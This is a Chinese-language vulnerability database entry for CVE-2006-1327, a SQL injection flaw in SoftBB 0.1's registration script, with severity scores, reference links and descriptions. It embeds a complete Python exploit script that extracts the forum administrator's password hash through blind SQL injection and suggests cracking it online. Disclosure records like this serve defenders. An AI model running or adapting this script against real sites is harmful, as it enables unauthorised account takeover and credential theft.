CVE-2006-1327
CVSS7.5
发布时间 :2006-03-20 20:06:00
修订时间 :2011-03-07 21:32:49
NMCOE    

[原文]SQL injection vulnerability in reg.php in SoftBB 0.1 allows remote attackers to execute arbitrary SQL commands via the mail parameter.


[CNNVD]SoftBB 'Reg.PHP' SQL注入漏洞(CNNVD-200603-332)

        SoftBB 0.1中的reg.php中存在SQL注入漏洞,远程攻击者可通过mail参数执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1327
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1327
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-332
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1002
(UNKNOWN)  VUPEN  ADV-2006-1002
http://secunia.com/advisories/19283
(VENDOR_ADVISORY)  SECUNIA  19283
http://milw0rm.com/exploits/1594
(UNKNOWN)  MILW0RM  1594
http://xforce.iss.net/xforce/xfdb/25320
(UNKNOWN)  XF  softbb-reg-sql-injection(25320)
http://www.securityfocus.com/bid/17160
(UNKNOWN)  BID  17160
http://www.osvdb.org/23999
(UNKNOWN)  OSVDB  23999

- 漏洞信息

SoftBB 'Reg.PHP' SQL注入漏洞
高危 SQL注入
2006-03-20 00:00:00 2006-03-21 00:00:00
远程  
        SoftBB 0.1中的reg.php中存在SQL注入漏洞,远程攻击者可通过mail参数执行任意SQL命令。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1594)

SoftBB 0.1 (mail) Remote Blind SQL Injection Exploit (EDBID:1594)
php webapps
2006-03-19 Verified
0 LOTFREE
N/A [点击下载]
#!/usr/bin/env python
# LOTFREE TEAM 03/2006
# http://lotfree.next-touch.com/
# http://membres.lycos.fr/lotfree/sploits/LOTF-SoftBB.py
#
# Vulnerability info
# Product : SoftBB
# Version : 0.1
#
# The field 'mail' in reg.php is used directly in a SQL query :
# $sql = 'SELECT pseudo,mail FROM '.$prefixtable.'membres WHERE pseudo = "'.add_gpc($pseudoreg).'" OR mail = "'.$mail.'"';
# We can deduce deduce the result of some sql querys according to the error messages returned
# The exploit test the characters of the md5 hash one by one using a special query
import httplib, urllib

# Change the following values...
admin="admin"
server="localhost"
path="/forum"
#
hash=""
chars=('a','b','c','d','e','f','1','2','3','4','5','7','8','9','0')

print "LOTFREE TEAM SoftBB BruteForcing tool"
print "-------------------------------------"
for i in range(1,33):
  print "Brute forcing hash["+str(i)+"]"
  for a in chars:
    params=urllib.urlencode({'pseudo':admin,
    'mdp':'1',
    'mdpc':'1',
    'mail':'" union select pseudo,1 from softbb_membres where pseudo="'+admin+'" and substr(mdp,'+str(i)+',1)="'+a+'" limit 1,1#',
    'condok':'true'})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    conn = httplib.HTTPConnection(server)
    conn.request("POST", path+"/index.php?page=reg", params, headers)
    response = conn.getresponse()
    data = response.read()
    conn.close()
    if data.find("Ce pseudonyme est d")>0:
      hash=hash+a
      continue

print
if len(hash)==32:
  print "Found hash =",hash,"for account",admin
  print "You can use http://md5.rednoize.com/ to crack the md5 hash"
else:
  print "Exploit failed... verify the path to the forum or try changing the limit 1,1 in the sql request..." 

# milw0rm.com [2006-03-19]
		

- 漏洞信息

23999
SoftBB reg.php mail Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

SoftBB contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the 'reg.php' script not properly sanitizing user-supplied input to the 'mail' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-03-19 Unknow
2006-03-19 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站